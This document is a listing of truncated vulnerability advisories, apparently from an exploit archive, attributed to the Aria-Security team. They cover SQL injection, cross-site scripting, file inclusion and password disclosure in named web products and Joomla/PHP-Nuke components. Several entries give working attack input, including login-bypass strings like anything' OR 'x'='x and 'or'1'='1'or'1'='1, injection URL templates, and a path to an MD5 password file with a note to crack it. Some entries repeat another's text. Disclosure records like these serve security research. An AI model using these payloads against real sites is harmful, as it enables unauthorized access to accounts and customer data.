Active Bids XSS / SQL Injection

--------------------------------------------------------- Portal Name: Active Bids Vendor : http://www.activewebsoftwares.com/P84ActiveBids.aspx?Tabopen=1 Author : PouyaServer , [email protected] Aria-Security.Net Vulnerability : SQL/XSS...

LinksPro SQL Injection

--------------------------------------------------------- Portal Name: LinksPro Standard Edition Vendor : http://www.codefixer.com/applinkspro/standard.asp Author : PouyaServer , [email protected] Aria-Security.Net Vulnerability : SQL ---------------------------------------------------------...

w2b.ru multiple products SQL Injection

------------------------------------------------------- | Aria-Security Team Persian Security Network | | http://Aria-Security.com For English | | http://Aria-Security.net For Farsi | | Greetz: | | AurA, NULL, Kinglet, t3rr0r1st, Moromort | | and to all of our staff | | Discovered by The-0utl4w |...

Joomla Component com_lms SQL Injection

Aria-Security Team Persian Security Network http://aria-security.net ---------------------------------- Joomla Component comlms SQL Injection Greetz: AurA, Mormoroth, Null, t3rr0r1st Discovered by The-0utl4w Vendor: joomlashowroom.com/ Original Advisory:...

joomlaintellect-lfi.txt

Aria-Security Team Persian Security Team http://forum.aria-security.com For English http://forum.aria-security.net For Farsi ------------------------------------------ Greetz: Aura, NULL, Kinglet, t3rr0r1st, Mambo/joomla comintellect "page" LFI Poc:...

phpnukeegal-sql.txt

Aria-Security Team Persian Security Network http://Aria-Security.net ----------------------------------------------- Shoutz: AurA, NULL, imm02tal, Kinglet, PHP-Nuke Module eGallery "pid" Remote SQL Injection http://forum.aria-security.net/showthread.php?p=1548 PoC...

Pigyard Art Gallery Multiple SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal, iM4N, Kinglet, Vendor: Pigyard Art Gallery Multiple SQL Injection This is a completation of the original advisory reported by ZoRLu @ Milw0rm http://www.milw0rm.com/exploits/5181 Original Link...

[Aria-Security.Net] Real Estate Web SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: Vendor: http://www.site2nite.com/ Google Search: Website Development Provided By: Site2Nite Username: anything' OR 'x'='x Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To Aria-Security.Net...

[Aria-Security.Net] VU Case Manager "Username/Password" SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal Vendor: http://vunet.us Login Page Default.asp Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To Aria-Security.Net...

mwf-ftp.txt

Aria-Security Team http://Aria-Security.Net shout out to: AurA, imm02tal and Aria's Staff http://site.com/path/mwftp/pass/pass.txt As you see the mentioned file contains the md5 which you can crack and use in http://site.com/path/ftp.php to login. Regards, The-0utl4w...

MyWebFTP Password Disclosure

Aria-Security Team http://Aria-Security.Net shout out to: AurA, imm02tal and Aria's Staff http://site.com/path/mwftp/pass/pass.txt As you see the mentioned file contains the md5 which you can crack and use in http://site.com/path/ftp.php to login. Regards, The-0utl4w...

dmcms-sql.txt

Aria-Security Team DMcms Sql Injection http://target.ltd/PATH/index.php?page=media&id=SQL INJECTION CODE GOES HERE Other files may have this vuln. also. Credits goes to Aria-Security Team http://Aria-Security.net The-0utl4w...

A-Cart SQL Injection And Cross-Site Scripting

A R I A - S E C U R I T Y A-Cart SQL Injection And Cross-Site Scripting http://alanward.net Cross Site Scripting: http://localhost/path/error.asp?msg=XSS SQL Injection: http://localhost/path/product.asp?productid=' SQL COMMAND Table Names are: categories customers orderitems orders products users...

[Aria-Security.Net] SearchSimon Lite Cross-Site Scripting Vuln.

Aria-Security Team http://Aria-Security.net/ ------------------------------------------------- SearchSimon Lite Cross-Site Scripting The file Name may be different in different websites PoC filename.asp?QUERY=XSS&Submit=Search21&ACTION=SEARCH Credits Goes To Aria-Security Team Aria-Security.Net...

propertypro-sql.txt

Aria-Security Team Property Pro http://isystems.7host.com/isystems/ URL/path/admin Use These As your login Admin 'or'1'='1'or'1'='1 Discovered By The-0utl4w http://aria-security.net http://outlaw.aria-security.info Personal Blog...

[Aria-Security] Munch Pro Remote Login ByPass

Aria-Security Team Property Pro http://isystems.7host.com/isystems/ URL/path/admin Use These As your login Admin 'or'1'='1'or'1'='1 Discovered By The-0utl4w http://aria-security.net http://outlaw.aria-security.info Personal Blog...

[Aria-Security] Property Pro Remote Login ByPass

Aria-Security Team Property Pro http://isystems.7host.com/isystems/ URL/path/admin OR URL/path/virLogin.asp Use These As your login Admin 'or'1'='1'or'1'='1 Discovered By The-0utl4w http://aria-security.net http://outlaw.aria-security.info Personal Blog...